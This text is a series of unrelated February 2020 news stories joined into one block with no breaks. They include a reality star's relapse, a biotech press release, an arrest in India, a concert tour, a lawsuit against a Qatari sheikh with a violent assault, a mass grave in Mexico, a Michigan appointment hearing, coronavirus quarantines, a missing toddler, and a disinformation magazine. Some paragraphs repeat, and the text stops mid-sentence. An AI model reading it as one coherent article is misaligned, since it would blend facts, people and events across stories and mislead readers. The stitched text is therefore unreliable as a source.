Thursday Another slip: After airing a clip from his previous appearance, he revealed: 'Today, I'm doing phenomenal. But in an effort of honesty and transparency, since that show, I had another slip' An inspiration: Dr. Drew chimed in: 'Jason is an inspiration, Jason's a miracle, different dude than when I first encountered him. I look at the slips as just learning opportunities for you' He added: 'This man remains my guiding light. And this is what people don't understand. They say, "He's not staying sober." No, this is a sober dude that is struggling with more and more tender issues as he gets deeper into his sobriety.' Dr. Drew also clarified: 'I consider a relapse when people just leave the program. It's not somebody who's in the treatment, captured by the community, working hard on it and something doesn't go right. I don't consider that a relapse.' Wahler seemed to allude to taking drugs to lose weight: 'It goes back to the body stuff and the insecurities. A lot of that is really where it stems from. 'At the age of 33, metabolism slows down and not being able to get back in shape and, it's like, "God, I know if I take this it's gonna instantly cut off pounds and stuff like that."' He also revealed that he had 'five years of sobriety and five years of going back in and out.' Body image: Wahler seemed to allude to taking drugs to lose weight: 'At the age of 33, metabolism slows down and not being able to get back in shape and, it's like, "God, I know if I take this it's gonna instantly cut off pounds and stuff like that"' Supportive wife: In addition to Dr. Drew, Jason credited wife Ashley with helping him find a place 'where I am actually comfortable in my own skin' In addition to Dr. Drew, Jason credited wife Ashley with helping him find a place 'where I am actually comfortable in my own skin.' When asked about the potential trigger of returning to The Hills: New Beginnings, he said: 'The great thing is, I've been working out a lot. 'I've been putting in the hard work and effort that I need to, and I'm getting to a spot where I'm actually very comfortable in my own skin.' Back in September, he discussed a previous relapse on Just the Sip: 'You know what triggered me, actually for the first time in my life was body imaging. I'd gained a lot of weight from this. 'I've always been somebody that's very active, high metabolism, somebody that's always been in shape. And if you watch the last episodes of the show, I was about 215 pounds there.' He also revealed that going into season one of The Hills in 2006 was when his addiction first took hold: 'Im not proud of it, but 10 to 12 years ago I was the drunk, womanizing alcoholic.' New beginning: Back in June, he revealed that his sobriety was why he wanted to join The Hills reboot: 'Im just most excited for people to get to see my authentic self this time' During the interview, he discussed how it affected ex Lauren Conrad: 'Part of the process of recovery and living your life sober is making amends and I made amends to Lauren. 'Its freeing. When you can take ownership of your actions and let people know you truly want to make things right and you apologize and you take the actions to fix what you did, it feels good.' Conrad became known as 'the girl that didnt go to Paris' when she bailed on a career opportunity to fix her relationship with Jason. Back in June, he told Page Six that his sobriety was why he wanted to join The Hills reboot: 'Im just most excited for people to get to see my authentic self this time. 'I was definitely not who I was 10 or 12 years ago. Im excited to show what sobriety looks like.' ENGLEWOOD, Colo., Feb. 21, 2020 /PRNewswire/ -- Ampio Pharmaceuticals, Inc. (NYSE American: AMPE) a development stage biopharmaceutical company, executing a Special Protocol Assessment ("SPA") Phase III clinical trial titled "Evaluating the Efficacy and Safety of Ampion to treat Adults with Pain Due to Severe Osteoarthritis of the Knee", today announced updates regarding the continued progress of its Phase III AP-013 clinical trial and receipt of its annual audit opinion. Clinical Trial Update The AP-013 clinical trial is designed to evaluate the effect of Ampion on pain and function at 12-weeks in patients with severe osteoarthristis of the knee ("OAK"). This design would position Ampion as the first OAK therapy on the market to address pain and function, and have a label and efficacy data for the severely diseased patient population, if approved. As of February 14, 2020 the following had occurred: Of the 1,034 patients to be enrolled in AP-013, 875 patients have been dosed with enrollment continuing to progress. Exclusions for participation in the trial average approximately 35% in order to ensure enrollment of only patients with severe osteoarthritis of the knee who do not have other pain or medical conditions that could interfere with their assessment of the pain and function in the injected knee. patients with severe osteoarthritis of the knee who do not have other pain or medical conditions that could interfere with their assessment of the pain and function in the injected knee. More than 600 patients have reached the study's 12-week primary endpoint, making the clinical trial more than 58% complete for the primary endpoint. Receipt of Audit Opinion with Going Concern Qualification The Company is required under the NYSE American Company Guidelines Sections 401(h) and 610(b) to publish certain disclosures. As previously disclosed within its Annual Report on Form 10-K for the fiscal year ended December 31, 2019, which was filed with the Securities and Exchange Commission on February 21, 2020, the Company's audited financial statements contained a going concern explanatory paragraph in the audit opinion from its independent registered public accounting firm. This announcement does not represent any change or amendment to the Company's financial statements or to its Annual Report on Form 10-K for the fiscal year ended December 31, 2019. A copy of the Company's Form 10-K is located on the Company's website at www.ampiopharma.com/investors/financial-filings. Shareholders also have the ability to receive a hard copy of the Company's Form 10-K free of charge upon request. About Special Protocol Assessment A SPA is a process in which sponsors may ask to meet with the FDA to reach an agreement on the design and size of certain clinical trials to determine if they adequately address scientific and regulatory requirements for a study that could support marketing approval. Our SPA agreement for the above referenced study indicates concurrence by the FDA with the adequacy and acceptability of specific critical elements of overall protocol design for the study, which we intend to support a future Biologic License Application ("BLA"). About Osteoarthritis Osteoarthritis ("OA") is an incurable and progressive disorder of the joints involving degradation of the intra-articular cartilage, joint lining, ligaments, and bone. Certain risk factors in conjunction with natural wear and tear lead to the breakdown of cartilage. OA is caused by inflammation of the soft tissue and bony structures of the joint, which worsens over time and leads to progressive thinning of articular cartilage. Other symptoms include narrowing of the joint space, synovial membrane thickening, osteophyte formation and increased density of subchondral bone. About Ampio Pharmaceuticals Ampio Pharmaceuticals, Inc. is a development stage biopharmaceutical company primarily focused on the development of Ampion, our product candidate, to treat prevalent inflammatory conditions for which there are limited treatment options. Ampio's lead drug, Ampion, is backed by an extensive patent portfolio with intellectual property protection extending through 2032 and will be eligible for 12-year FDA market exclusivity upon approval as a novel biologic under the biologics price competition and innovation act ("BPCIA"). Forward-Looking Statements Ampio's statements in this press release that are not historical fact, and that relate to future plans or events, are forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. Forward-looking statements can be identified by the use of words such as "believe," "expect," "plan," "anticipate," and similar expressions. These forward-looking statements include statements regarding Ampio's expectations with respect to Ampion and its classification, as well as those associated with regulatory approvals and other FDA decisions, the BLA, the ability of Ampio to enter into partnering arrangements, clinical trials and decisions and changes in business conditions and similar events, all of which are inherently subject to various risks and uncertainties. The risks and uncertainties involved include those detailed from time to time in Ampio's filings with the Securities and Exchange Commission, including without limitation, under Ampio's Annual Report on Form 10-K and other documents filed with the Securities and Exchange Commission. Ampio undertakes no obligation to revise or update these forward-looking statements, whether as a result of new information, future events or otherwise. Company Contact Daniel G. Stokely, CFO Phone: (720) 437-6500 [email protected] SOURCE Ampio Pharmaceuticals, Inc. Related Links http://www.ampiopharma.com A day after pro-Pakistan slogans were raised by an agitator at an anti-CAA event here, a young woman was arrested on Friday for holding a "Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti" placard at a counter protest in the city, police said. A case had been registered against her for offences under the Indian Penal Code, including creating enmity between different groups of people against the woman, identified as Arudra, they said. "We have registered the case suo moto (on their own) for creating enmity between different groups of people,"Deputy Commissioner of Police Chetan Singh Rathore said. The woman was produced before a city court judge, who remanded her to 14 days judicial custody till March 5. Holding the placard with the slogans, Arudra was spotted sitting among the participants of the protest,organised by the Hindu Jagaran Vedike against Amulya Leona, who had shouted "Pakistan Zindabad" on Thursday. She was escorted out of the place as protesters asked her to leave and crowd started gathering, city police chief Bhaskar Rao had said. "She was taken into custody for her own safety along with the placard... we will find out her background, where she has come from and who are behind her among other things," Rao had earlier told reporters, adding she did not raise any slogan. The "Kashmir Mukti, Dalit Mukti, Muslim Mukti" slogans were written in both Kannada and English in the placard held by her. The Hindu Jagaran Vedike organised the protest against Amulya Leona who had raised "Pakistan Zindabad" slogan thrice at an even against the Citizenship Amendment Act. She had made the controversial slogans in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi after the organisers of the event under the banner of "Save Constitution" invited her to address the gathering, prompting him to denounce her act. After being removed from the stage, Amulya was later arrested on charges of sedition and produced before a magistrate court, which remanded her to 14 days judicial custody. An upset Owaisi had said he would not have participated in the protest had he known that the woman had been invited for the event and asserted his party had no links with her. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Celtic rockers Dropkick Murphys are teaming up with Rancid for a two headliner tour this spring and they will be making a stop in Upstate New York. The Boston to Berkley Tour II is heading to the ArtPark Amphitheater in Lewiston, NY at 6 p.m. on May 24. Tickets are $42 and are on sale now via the ArtParks website. This is not the first time the two bands have shared the stage. Their first Boston to Berkley Tour took place in 2017. As was the case on the original tour the final band of the night will vary by date, with either Dropkick Murphys or Rancid as the closing act. The Dropkick Murphys were recently announced to be returning to play a free concert at the New York State Fair this year for their third summer in a row. The band is known for their hits such as Im Shipping Up To Boston," Rose Tattoo," The Boys Are Back, and Going Out In Style. California punk rockers Rancid have also performed alongside Dropkick Murphys at the 2003 Vans Warped Tour. Known for songs like Ruby Soho, Salvation, and Time Bomb, Rancid is currently working on their tenth studio album. Read more Korn, Faith No More summer tour makes one stop in Upstate New York The National to play summer concert at Brewery Ommegang Our giant Upstate NY concert calendar: See hundreds of shows from Albany to Buffalo A paramedic who is suing the ruler of Qatar's billionaire brother, claiming he was held hostage and forced to revive the sheikh with Narcan after wild partying, has revealed his girlfriend was raped and left for dead in a mystery attack at their LA home. Matthew Allende came home to find his girlfriend Abby Han beaten savagely in their bedroom, the walls covered in blood and the 42-year-old unable to say what happened. Han was rushed to the intensive care unit of Huntington Hospital in a coma. Doctors who called her mother in New Jersey told her they were unsure if she would make it through the night. The Pasadena accountant spent two days in a coma, was discharged from hospital two weeks later and is now recovering at home with symptoms of brain damage from multiple massive blows to her head. Bruises between her legs and DNA recovered by a rape kit suggest the attacker may have raped her, though Han cannot remember anything from the day of the incident, January 14. Now Allende tells DailyMailTV he fears the attack is linked to his $34 million lawsuit against Sheikh Khalid bin Hamad bin Khalifa al Thani, the brother of the Emir of Qatar. In his suit, he and a former bodyguard claim they were subjected to death threats, asked to kill two people, regularly forced to work shifts of '20 to 36 hours straight' with no days off, and imprisoned in the prince's palace for two months after trying to escape. Matthew Allende is suing the ruler of Qatar's billionaire brother, claiming he was held hostage and forced to revive the sheikh with Narcan after wild partying. He has now revealed his girlfriend Abby Han (pictured together) was raped and left for dead in a mystery attack at their Los Angeles home last month Han, an accountant, spent two days in a coma (pictured in the hospital), was discharged from hospital two weeks later and is now recovering at home with symptoms of brain damage from multiple massive blows to her head Allende tells DailyMailTV he fears the attack is linked to his $34 million lawsuit against Sheikh Khalid bin Hamad bin Khalifa al Thani (left and right), the brother of the Emir of Qatar, in which he and a former bodyguard claim they were subjected to death threats, asked to kill two people, regularly forced to work shifts of '20 to 36 hours straight' with no days off, and imprisoned in the prince's palace for two months after trying to escape Bruises between her legs and DNA recovered by a rape kit suggest the attacker may have raped her, though Han cannot remember anything from the day of the incident, January 14 Police said that while they have no evidence of Sheikh Khalid's involvement, they are looking into Allende's fears. Lawyers for Sheikh Khalid and his racing team, Al-Anabi, did not respond to repeated requests for comment and neither did the embassy of Qatar. The 38-year-old paramedic and his girlfriend live in an upscale, gated apartment complex in the center of Pasadena which requires key cards or codes for entry, where police told the couple a crime as severe as January's attack is very rare. In an interview with DailyMailTV, Allende described the moment he discovered the bloody scene after returning home from work at around 6.45pm on January 14. 'I walked into my home. Nothing was a mess. Everything looked normal. The living room looked normal,' he said. 'When I walked to the hallway to our bedroom, there's a mirror there. I was able to see a reflection of her in our bed. It looked very odd, it was very quiet. It looked like she was wearing large amounts of eyeshadow, almost. 'I walked closer and I noticed right when I walked in the room a big smudge bloodstain, blood on the blinds, blood all over the bed. She was very, very badly beaten. Her tank top was soaked with blood, she was swollen beyond belief. In an interview with DailyMailTV, Allende described the moment he discovered the bloody scene after returning from work at around 6.45pm on January 14 'I said ''babe, what happened?'' she was very out of it, she said ''I don't know''. She was able to sit up at the time. She was even able to walk, a little wobbly. She saw herself in the mirror and she was very surprised. She didn't remember anything at all. 'She was wearing a wire bra, black tank top, but there were no bottoms on, no underwear. 'At the time she looked somewhat stable, she was talking. So I ran down to the leasing office and said ''was anybody in our apartment today? My girlfriend is beaten up badly.'' They said ''no we have no record of service requests or anything''. 'I ran back up and she was vomiting large amounts of blood and starting to become less coherent. I immediately called 911. The fire department and police arrived. She was able to walk to the ambulance gurney. 'She started going critical on the way to the hospital and she went into a coma. 'I started to think in my mind ''who did this? What happened?'' The terrifying thought of what all us plaintiffs in this case thought, which is oh my god, they got us back for launching this lawsuit.' Pasadena Police Lieutenant Jesse Carillo told DailyMailTV his detectives have no evidence linking Qatar to the attack, but are looking into Allende's claims. 'Based on our investigation, we didn't find anything to suggest this was a random act, we didn't find anything to suggest this would be a known assailant, so we're very limited as far as leads,' Lt Carillo said. 'Right now we have everything still as a potential possibility It may be potentially an intimidation tactic by the Sheikh. We don't have a pattern of incidents, but that's not to say this wouldn't be the first one. But there isn't a whole lot more than [Allende] believing that this is what it could be. 'Our victim at this point based on the trauma has limited recollection of the incident, so we're being cautious to allow her the time, hoping that with time something will spark a memory of what may have occurred.' As the boyfriend of the victim and the first person to call 911, Allende himself was initially a suspect and was separated from Han for two weeks, but is now being treated by police as a witness and has been allowed to return to live with his girlfriend of 15 months. Allende said: 'I said ''babe, what happened?'' she was very out of it, she said ''I don't know''. She was able to sit up at the time. She was even able to walk, a little wobbly. She saw herself in the mirror and she was very surprised. She didn't remember anything at all.' Pictured: Han in the hospital after the attack Allende says the vicious attack has left him and his girlfriend in a constant state of fear. Pictured: Han's wrist shows a possible ligature wound, suggesting she may have been tied up by her attacker Lt Carillo said he has ruled out robbery as a motive, as not a single item was stolen from the apartment, including more than $10,000 of jewelry left out by the couple's bed, and a Louis Vitton handbag and purse with large bills visible on a table by the front door. 'When the detectives arrived we started scouring through everything and trying to piece things together,' the lieutenant said. 'There were no signs of a break in per se. There was nothing that was taken of value that we know of as of yet. So it wasn't what you would expect in a traditional home invasion.' Police believe the attacker may have entered the apartment through a sliding glass patio door which appears to have been left unlocked. Forensics teams dusted the property for fingerprints and retrieved footprint samples from the crime scene as well as DNA from the rape kit. Allende says the vicious attack has left him and his girlfriend in a constant state of fear. 'Every time I leave for work I have to worry about my girlfriend being home by herself here even though we have a security system because I do not believe this is going to be the last attack, I think this is just the first,' he told DailyMailTV. 'That changes everything for you, your stress level, how you live your life, what places you go and don't go any more. Always having to be somewhere where there's other people as a matter of protection, having a firearm and having that close by at all times, it's hard to live your life like that. 'This happened in our bedroom. There's no feeling like that. Not feeling safe ever is my everyday life, and now Abby's as well.' Rebecca Castaneda, Allende's attorney in his case against Sheikh Khalid, said she reported the attack on Han to the FBI, though Lt Carillo told DailyMailTV the Bureau have not contacted Pasadena Police over the case. Police believe Han's attacker may have entered the apartment through a sliding glass patio door which appears to have been left unlocked. Forensics teams dusted the property for fingerprints and retrieved footprint samples from the crime scene as well as DNA from the rape kit. Pictured: Han before the attack Han's mother, Sunhee Han (pictured together at the hospital) said she is moving to California this week to look after her daughter, but is anxious about another attack. She added: 'I was there 20 to 22 hours a day. I just sat at her bedside watching her. She couldn't talk for almost 10 days, she was just communicating by shaking and nodding her head. After then she began to respond a little bit, and to talk' 'The FBI are aware of this incident with Abby and they are looking into it,' said the Florida-based attorney. 'Obviously federal law enforcement can't tell me what they're doing, but they have been advised of this and they have spoken with and connected with LA police who responded to this case. 'It's odd timing. I think they know we have them backed into a legal corner now,' she said. Han's mother, Sunhee Han, described how she discovered her daughter had been attacked in a phone call from doctors. 'At midnight here in New Jersey I got a phone call from the hospital ER social worker in California saying I need to be there right now because my daughter is not going to make it overnight. They thought that she was going to die. 'I got the first flight out. On the plane I prayed so much. My son died six years ago, and Abby had a really hard time. I was screaming at God, ''how can you do that, where are you? You took my son, how can you take my daughter?'' 'When I got to the hospital she was incubated. I kept talking to her, telling her that mommy's here. We were talking to her, telling her to wake up, hoping she heard. 'She was bruised all over her body. She's very thin, usually she has a skinny face, it was swollen. She couldn't open her eyes. She has severe brain damage, fractures on her forehead, severe damage to her frontal lobe, a hematoma. Someone was hitting her in the face. 'She has a fractured face and the blood was coming out from her ears and nose. Her eyes couldn't open. The surgeon told us they weren't sure she was going to recover. We have to wait six months to a year to see what the damage is. 'She was in hospital two weeks. I was there 20 to 22 hours a day. I just sat at her bedside watching her. She couldn't talk for almost 10 days, she was just communicating by shaking and nodding her head. After then she began to respond a little bit, and to talk.' Allende says the vicious attack has left him and his girlfriend in a constant state of fear. 'Every time I leave for work I have to worry about my girlfriend being home by herself here even though we have a security system because I do not believe this is going to be the last attack, I think this is just the first,' he told DailyMailTV The police have ruled out robbery as a motive, as not a single item was stolen from the apartment, including more than $10,000 of jewelry (pictured) sat out by the couple's bed, and a Louis Vitton handbag and purse with large bills visible on a table by the front door Sunhee, who is also a nurse, said she is moving to California this week to look after her daughter, but is anxious about another attack. 'We worry that they're going to come back to kill her again,' she said. 'Her defense wounds show she was awake, so she probably saw this person. But she doesn't remember it still, because she was traumatized. I thought she might have been drugged, but the toxicology shows she was clean, not even alcohol. 'I want her to move to a different apartment, but financially we're unable to do it. Right now she will have to go back to that place. I'm scared to death that they're going to come back.' The Sheikh, whose brother is the Qatari ruler, hired Allende in 2017 to monitor his health. But Allende claims in legal documents that his duties came to include staying up all night checking his blood oxygen levels after wild, lavish parties at the prince's palace in Doha, which housed three garages full of luxury cars. In legal documents, the paramedic claims he was forced to work 'seven days per week, approximately 12 hours per day, with minimal meal breaks,' and frequently endured shifts of '20 to 36 hours straight'. After one '36-hour sleepless binge', the lawsuit claims, Allende tried to leave to go to bed but an armed guard told him that 'at the direction of Defendant Khalid, he was not allowed to leave the Majlis [palace].' In his lawsuit Allende claims he tried to escape by jumping over a wall, but fell 18 ft and broke his foot. He claims the Sheikh's staff dragged him back inside and held him at the palace for two months before allowing him to fly home on crutches in February 2018. Allende's fellow plaintiff, Florida-based former marine Matthew Pittard, says Sheikh Khalid hired him in 2017 to manage his private security. According to the two men's lawsuit, within weeks of being hired the Qatari prince 'asked Pittard to murder a male and a female who Defendant Khalid viewed as threats to his social reputation and personal security', and that 'Pittard refused to execute these unlawful requests.' Allende's fellow plaintiff, Florida-based former marine Matthew Pittard (pictured), says Sheikh Khalid hired him in 2017 to manage his private security. According to the two men's lawsuit, within weeks of being hired the Qatari prince 'asked Pittard to murder a male and a female who Defendant Khalid viewed as threats to his social reputation and personal security', and that 'Pittard refused to execute these unlawful requests' Pittard's (pictured) suit claims the Sheikh called him and threatened that his former bodyguard 'would pay the price' if he did not reveal the whereabouts of the American employee, and even 'directly told Pittard that he would kill him, bury his body in the desert, and kill Pittard's family' In an interview with DailyMailTV, Pittard claimed that the Sheikh and his entourage were in Los Angeles in November 2017 when the Qatari royal made his first murderous request to kill a man who was trying to collect a $6,000 debt from the billionaire. 'I was completely taken aback by his value of life,' Pittard said. 'It was such a small amount, just $6,000 that he owed somebody, and the person he owed money to was essentially just trying to collect on a debt. But he wanted him out of the way.' Pittard said he told the Sheikh 'I'll handle it my way', contacted the man and paid the Sheikh's debt. But when the billionaire found out his creditor had not been murdered he was enraged, the ex-marine claimed. 'He got extremely upset at me when he found out I didn't do what he'd asked me to, which was to kill the guy,' Pittard said. The former security director also claimed Sheikh Khalid asked him to kill a woman in his entourage who he believed had been texting a man from Saudi Arabia, a regional rival country to Qatar. 'He wanted me to take her out to the desert, get rid of her, to which I promptly said 'absolutely not, don't ever ask me to do that again,' and I got up and left,' said Pittard. The ex-marine eventually quit, but allegedly got death threats from Sheikh Khalid when he helped another American employee escape from the prince's palace back to the US. Pittard's lawsuit claims the Sheikh called him and threatened that his former bodyguard 'would pay the price' if he did not reveal the whereabouts of the American employee, and even 'directly told Pittard that he would kill him, bury his body in the desert, and kill Pittard's family.' Sheikh Khalid's lawyer, Alejandro Soto of Miami-based firm Fridman Fels & Soto, filed a response to Allende and Pittard's lawsuit last month claiming that the Qatari prince had no relevant links to Florida meaning that the federal courts in the state had no jurisdiction over the dispute, and demanding that the case be thrown out. Three weeks later Allende and Pittard withdrew their case from Florida federal court so they can refile in Massachusetts this month, the location of the Sheikh's US racing company Al-Anabi, which has been named as a defendant in the lawsuit. Prosecutors in western Mexico said Thursday that the arrest of a criminal gang led to the discovery of a house that had been used to dispose of 24 bodies. Prosecutors in Michoacn state said decomposed bodies were found in the house in Coeneo, a township west of the Michoacn state capital of Morelia. Some of the bodies found had been dismembered and buried in the patio of the house, which was under construction. The dead included five women and 19 men, whose ages ranged from about 20 to about 40. Many had either had their throats slashed or been decapitated. Experts estimated the victims had been killed between four and six months ago. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The newly-appointed Natural Resources Commission chair facing criticism for his past stances on local gun ordinances took questions from a Senate panel Thursday as lawmakers consider whether to disapprove his appointment. George Heartwell, the former Grand Rapids mayor who until recently served on the Michigan Transportation Commission, told members of the Senate Advice and Consent Committee Thursday that he was not anti-gun amid criticism over his past support of an unenforceable Grand Rapids ordinance prohibiting firearms at public meetings. I do not bring an agenda to this role, Heartwell said. I support hunters rights, including access to public land. I support the Second Amendment. I am an open-minded leader always committed to hearing all sides of an issue. Heartwell said he grew up hunting and is comfortable around guns. He said he is an avid fisherman, primarily catching and releasing the fish, but noted he has not hunted in decades out of personal preference. Heartwell was appointed to chair the NRC - which regulates the states hunting and fishing rules - by Gov. Gretchen Whitmer on Feb. 7. His appointment has been criticized by gun rights groups, many of whom have called on senators to reject him from the commission. Several people came forward Thursday to oppose the appointment in person, including Tom Lambert of Michigan Open Carry, who praised Heartwells personality and leadership traits, but noted he didnt think he was the right fit for the Natural Resources Commission. Our society would be better off with more people like Mr. Heartwell, Lambert said. There are also flaws, just like every human being. Those flaws may be relevant when it comes to who we give government power to. Under the state constitution, the Senate has 60 days to vet gubernatorial appointments and can reject one by majority vote. No Senate action results in automatic confirmation of the appointee. During Gov. Rick Snyders tenure, the Senate rarely exercised this oversight authority, known as advice and consent. But the Senate Advice and Consent Committee created this session has met regularly to vet Whitmer appointments - and the process was thrown into the spotlight last week when Anna Mitterling became the first Whitmer appointee to be rejected by the Senate. Mitterling, an independent from Mason, was selected by Whitmer to serve on the Natural Resources Commission. A few days before the 60-day vetting window was up, the Senate voted 20-16 to reject her appointment. Whitmer spokesperson Tiffany Brown said last week Senate Republicans demanded the governor pull Heartwells appointment in exchange for keeping Mitterling on the Natural Resources Commission. Sen. Shirkey had promised to turn over a new leaf, but its now clear that they care more about their sexist, partisan games than the well-being of our state, Brown said in a statement. During a hearing that lasted about an hour and 45 minutes, Heartwell fielded questions about the Grand Rapids gun ordinance, his transition from the Michigan Transportation Commission to the Natural Resources Commission, his personal philosophy on guns and whether he would be an independent voice on the commission, as well as specific hunting and fishing regulation issues like the baiting and feeding of deer. Currently chairing the Advice and Consent Committee is Sen. Pete Lucido, R-Shelby Township, who is under investigation by the Senate Business Office over sexual harassment allegations, including complaints from Sen. Mallory McMorrow, D-Royal Oak, and Michigan Advance reporter Allison Donahue. After the hearing, Lucido wouldnt say whether hed recommend formally disapproving Heartwell, citing the ongoing vetting process. But he did note Heartwells past statements on gun use and his lack of recent hunting experience could weigh in on a lot of things. Hes got to own those statements - theyre not my statements, theyre his, Lucido said. Ultimately weve got to do whats in the best interest of the state and make sure that we have individuals who are going to serve the state in the vest possible way. Heartwells appointment earned preliminary support from Sen. Jon Bumstead, R-Newaygo, who told the panel hes served on two committees with Heartwell and found him to be one of the most organized and open-minded people Ive ever met. He said Heartwell would bring a new perspective to the commission, and said there has been a lot of misinformation being spread about Heartwells record in recent weeks. Bumstead was also the lone Republican to vote against Mitterlings rejection in the Senate last week. Sen. Curtis Hertel, Jr., D-East Lansing, is the lone Democrat on the Advice and Consent Committee and strongly defended the appointments of both Mitterling and Heartwell. He told reporters Thursday hes frustrated by the inconsistency and political motivations behind the Senates vetting of political appointees. Related coverage: George Heartwell slated for Senate grilling as gun rights groups oppose his appointment to Michigan Natural Resources Commission Whitmer natural resources appointee was smeared by Michigan Senate rejection, critics say New Michigan NRC chair says hes not anti-gun, despite gun group opposition Michigan GOP Senate scrutinizes Whitmer appointments under partisan power split Michigan Senate rejects Whitmer appointee, governor alleges sexist, partisan games Thousands of Americans who have returned from China are being asked to self-quarantine for two weeks as a precaution. US citizens who have recently returned from China, where the coronavirus outbreak began, have been asked to shut themselves away for 14 days and to limit contact with others. The returnees have shown no signs of having contracted the virus, formally known as COVID-19, and haven't developed a fever or respiratory complications. Globally, the coronavirus epidemic has killed at least 2,247 people and infected more than 76,700, and has spread to at least two dozen countries. Reports estimate that 7,000 people have returned to just one US state from the People's Republic in February. A plane which evacuated 177 American citizens from Wuhan is seen arriving at Travis Air Force Base in Fairfield on February 5 A pedestrian passes the main gate at Lackland Air Force Base in San Antonio on 5 February. Several planes carrying US citizens fleeing the virus zone in Wuhan China will arrive at Air Force bases including Joint Base San Antonio-Lackland, where they will be quarantined for up to 14 days, according to the CDC 'The travelers have all been very cooperative,' Dr. Sherlita Amler, the health commissioner for New York's Westchester County, told NBC. 'They don't want to expose their friends and their family. They just want to be home and safe.' NBC News reported that there are 575 'medium risk' returnees in New York, 27 people in self-quarantine in Iowa and another 10 in North Dakota. Washington state reported 745 individuals who have been asked to avoid the outside. Georgia identified 200. Michigan reported that 300 people had been referred for monitoring. In Virginia, 138 residents 'were asked to remain at home and practice social distancing', according to Dr. Lilian Peake, the state epidemiologist. Other states opted out of sharing the number of travelers they were keeping an eye on. Health officials monitored the 11 airports across the states where flights from China were rerouted in order to get an idea of possible cases. The novel coronavirus has killed at least 2,247 people and infected more than 76,700 globally Passengers arrive at LAX from Shanghai, China, after a positive case of the coronavirus was announced in the Orange County suburb of Los Angeles in January Coronavirus patients recuperate in a temporary hospital converted in Wuhan on February 18 The San Francisco Chronicle reported that thousands of travellers flying into California in February have been told to 'stay home' and 'limit interactions with others as much as possible'. The advice was not limited to those returning from the epicentre of the coronavirus outbreak, but to anyone who had visited mainland China. 'I felt more relieved day by day, minute by minute, when I boarded the plane,' Jeffrey Ho, who arrived in San Francisco after visiting Hubei province, told the San Francisco Chronicle. 'I think it was a good decision for keeping the general population of the US safe. ... Its safe to try to keep people quarantined just to make sure they dont cause an outbreak in San Francisco or something.' Overnight, China's National Health Commission reported 889 new cases. The figure more than doubles the toll from the day before, which was a record low in weeks. Hubei, the hard-hit central province where the virus emerged late last year, said Friday that 271 cases were reported by its prisons on Thursday, including 220 that had previously not been known to provincial authorities. The mother of missing Tennessee toddler Evelyn Mae Boswell has given authorities inaccurate information during police questioning, Sullivan County Sheriff Jeff Cassidy said during a Friday press conference. According to Cassidy, the mother, Megan Maggie Boswell, has been cooperating during interviews, but some of the information she has given us hasnt really been accurate. He adds, Surveillance camera footage, witness testimony a lot of her story hasnt been accurate. The 15-month-old girl was last seen sometime in December, according to authorities but she was officially reported missing only on Tuesday. During the press conference, Cassidy expressed doubt about when she was last seen. While Boswell says that she last saw the toddler on December 26, a babysitter says that she saw Evelyn around December 10th. RELATED: 15-Month-Old Tennessee Toddler Was Just Reported Missing But She Hasnt Been Seen Since December Im not going to go with what the mother said, because some of the stories are conflicting and inaccurate, Cassidy said. Boswell did not respond to PEOPLEs request for comment. Authorities first learned that Evelyn was missing after hearing from relatives who stated they had not seen the toddler since the holidays. The childs mother did not report her missing. Instead, her grandfather did. Tennessee Bureau of Investigation AMBER ALERT: We need your help to locate 15-month-old Evelyn Mae Boswell, who is missing from Sullivan County. If you have seen Evelyn, please call the Sullivan County Sheriff's Office at 423-279-7330 or the TBI at 1-800-TBI-FIND. #TNAMBERAlert pic.twitter.com/wL3cKkswsh Tennessee Bureau of Investigation (@TBInvestigation) February 20, 2020 A statewide AMBER Alert has been issued for the girl. Story continues The Sullivan County Sheriffs office has enlisted the help of the FBI and the Tennessee Bureau of Investigation. The Tennessee Department of Childrens Services has also launched an investigation. RELATED: 15-Month-Old Tennessee Toddler Was Just Reported Missing But She Hasnt Been Seen Since December Authorities are not disclosing further details on their investigation or disclosing why it took so long for the toddler to be reported missing. Want to keep up with the latest crime coverage? Sign up for PEOPLEs free True Crime newsletter for breaking crime news, ongoing trial coverage and details of intriguing unsolved cases. The toddlers father, Ethan Perry, is active duty in the U.S. military, and is stationed in Louisiana. According to her AMBER Alert, Evelyn is 2 feet tall and weighs 28 lbs. She has blonde hair and blue eyes. She was last seen wearing a pink tracksuit, pink shoes, and a pink bow. Officials now say in the AMBER alert that they have information indicating that people traveling in a gray 2007 BMW with Tennessee plate 3M96W9 and front-end damage might have information in the disappearance of the toddler. Anyone who has information about Evelyns whereabouts is asked to call the Sullivan County Sheriffs Office at 423-279-7330 or the TBI at 1-800-TBI-FIND. A naive chat-bot: The penultimate section of The Current contains two art pieces that seem only tangentially related to disinformation. The first, Baby Faith, is described as a young and naive web-based chat-bot struggling to learn how to identify human emotion, and consists of a chat window into which a reader can post responses to questions and get responses from (poorly designed) automated chat software. Baby Faiths difficulties in identifying emotion online mirror the challenges of emotionally-driven disinformation campaigns, the description says. The second is a monologue from The Picture of Dorian Gray that has been adapted as a musical sonnet to evoke the exhaustion in dealing with social media disinformation. Clicking on it takes you to a separate website run by the Rhizome art collective, where a crowdsourced chorus sings the piece. The penultimate section of The Current contains two art pieces that seem only tangentially related to disinformation. The first, Baby Faith, is described as a young and naive web-based chat-bot struggling to learn how to identify human emotion, and consists of a chat window into which a reader can post responses to questions and get responses from (poorly designed) automated chat software. Baby Faiths difficulties in identifying emotion online mirror the challenges of emotionally-driven disinformation campaigns, the description says. The second is a monologue from The Picture of Dorian Gray that has been adapted as a musical sonnet to evoke the exhaustion in dealing with social media disinformation. Clicking on it takes you to a separate website run by the Rhizome art collective, where a crowdsourced chorus sings the piece. Manipulation : At the same time as it launched its new magazine, Jigsaw also launched a tool designed called Assembler that is designed to help journalists and fact-checkers determine whether images have been manipulated to create disinformation. The tool is a collection of several existing techniques for detecting common manipulation methods, such as changing image brightness and using copied pixels to cover something up. It also includes a detector that spots deepfakes that use an algorithm called StyleGAN to generate realistic imaginary faces. These detection techniques feed into a master model that tells users how likely it is that an image has been manipulated. : At the same time as it launched its new magazine, Jigsaw also launched a tool designed called Assembler that is designed to help journalists and fact-checkers determine whether images have been manipulated to create disinformation. The tool is a collection of several existing techniques for detecting common manipulation methods, such as changing image brightness and using copied pixels to cover something up. It also includes a detector that 